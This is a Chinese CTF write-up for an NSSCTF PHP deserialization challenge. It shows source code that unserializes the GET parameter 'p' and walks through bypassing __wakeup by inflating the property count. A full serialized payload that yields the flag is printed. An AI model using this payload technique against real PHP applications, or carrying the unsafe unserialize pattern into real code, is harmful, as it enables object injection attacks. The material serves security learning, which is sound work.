【PHP反序列化】css夺旗赛

https://www.nssctf.cn/problem/429

源码:

bash 复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 
  1. 类结构 :HaHaHa类有两个属性admin和passwd

  2. 构造函数 :设置默认值admin="user", passwd="123456"

  3. __wakeup魔术方法 :在反序列化时自动调用,对passwd进行sha1加密

  4. __destruct魔术方法:在对象销毁时检查条件,如果满足就输出flag

需要同时满足两个条件才能获取flag:

$this->admin === "admin" && $this->passwd === "wllm"

但是__wakeup()方法会在反序列化时自动执行,将passwd进行sha1加密,这会导致:原始设置的passwd="wllm"会被加密成sha1("wllm"),加密后的值不等于"wllm"

解决方案:绕过__wakeup

PHP的反序列化漏洞中,可以通过修改序列化字符串中的对象属性数量来绕过__wakeup方法的执行。

构造payload

  1. 首先创建满足条件的对象:
bash 复制代码
<?php
class HaHaHa{
    public $admin;
    public $passwd;
}

$obj = new HaHaHa();
$obj->admin = "admin";
$obj->passwd = "wllm";

echo serialize($obj);
?>
复制代码

正常序列化字符串: O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

绕过__wakeup的payload:

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

注意:当反序列化的对象属性数量与实际类属性数量不匹配时,__wakeup()方法不会被执行,所以 将属性数量从2改为比实际数量大的数字:3

复制代码
相关推荐
死磕音视频8 小时前
让小模型做选择题:限定候选项并读取 logits 概率的入门实践(附 Python 代码)
开发语言·python·大模型·文本分类·transformers
北京中科新远科技9 小时前
高速光模块上线验收实战:DOM、FEC、BER与端口计数器怎么一起看
服务器·网络·php
顽疲10 小时前
Java vue 养老系统源码详解:月账单 care_month_bill 与 Quartz 扣费 Job 实践
java·开发语言·vue.js·vue养老·springboot养老·java养老
看着博客敲代码10 小时前
nikto 扫描报 0 host(s) tested 与 Web 服务器漏洞扫描用法
安全·web安全·网络安全
Wang's Blog10 小时前
Java 项目实战: 交友项目 - 安装开发工具与环境准备
java·开发语言·交友
看着博客敲代码12 小时前
gobuster 报 the server returns a status code that matches 与 目录爆破用法
安全·网络安全·系统安全
程序喵大人12 小时前
【C++入门】编译链接模型 - 07 链接器怎样把符号对上号
开发语言·c++·编译器·编译链接·链接器
微三云 - 廖会灵 (私域系统开发)12 小时前
供应链系统实战:多渠道订单聚合与分布式库存一致性方案总结
开发语言·分布式·php
小枣信安12 小时前
MCP安全系列之缺乏日志审计
安全·网络安全·ai安全·大模型安全·智能体安全·mcp安全
学逆向的13 小时前
C 数据溢出与精度丢失
c语言·开发语言·网络安全